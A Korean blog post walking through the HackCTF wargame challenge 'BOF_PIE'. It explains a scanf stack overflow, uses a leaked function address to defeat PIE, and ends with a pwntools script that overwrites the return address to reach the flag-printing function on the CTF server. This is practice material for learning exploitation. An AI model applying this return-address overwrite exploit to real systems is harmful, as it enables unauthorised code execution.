BOF_PIE
2022. 3. 19. 14:25ㆍwargame/HACKCTF
PIE가 적용된 문제입니다.
디버거를 통해 동작을 확인해보겠습니다.
먼저 welcome 함수를 실행합니다.
위와 같은 문자열을 출력 후 아래와 같이 j0n9hyun is (welcome 함수의 주소)를 출력합니다.
이후 scanf 함수를 통해 ebp - 0x12에 위치한 배열에 데이터를 입력할 수 있습니다.
여기서 길이에 대한 검증이 없어 BOF 공격을 할 수 있습니다.
그리고 함수가 종료됩니다. 그리고 main 함수에서 "Nah..."라는 문자열을 출력한 후 프로그램이 종료됩니다.
nm 명령어를 통해 다른 함수를 찾던 중 j0n9hyun이라는 함수를 찾았습니다.
해당 함수는 flag 파일을 읽고 출력해주는 함수입니다.
welcome 함수에서 PIE 보호 기법이 적용된 상태의 함수의 주소를 알 수 있습니다.
이를 통해 j0n9hyun 함수의 주소 또한 구할 수 있게 됩니다.
scanf 함수에서 BOF 공격을 할 수 있기 때문에 RET를 j0n9hyun의 주소로 변조시켜 FLAG를 출력시키도록 하겠습니다.
코드와 결과는 아래와 같습니다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3008)
e = ELF("./bof_pie")
r.recvuntil("is ")
welcome = r.recvn(10)
welcome = int(welcome, 16)
print("[+] welcome address is ", hex(welcome))
flag = welcome - (e.symbols['welcome'] - e.symbols['j0n9hyun'])
payload = b"A" * 0x12 + b"B" * 0x4 + p32(flag)
r.sendline(payload)
r.interactive()
'wargame > HACKCTF' 카테고리의 다른 글
RTL_World (0) | 2022.03.23 |
---|---|
Yes or no (0) | 2022.03.19 |
Offset (0) | 2022.03.19 |
Simple_Overflow_ver_2 (0) | 2022.03.19 |
x64 Simple_size_BOF (0) | 2022.03.19 |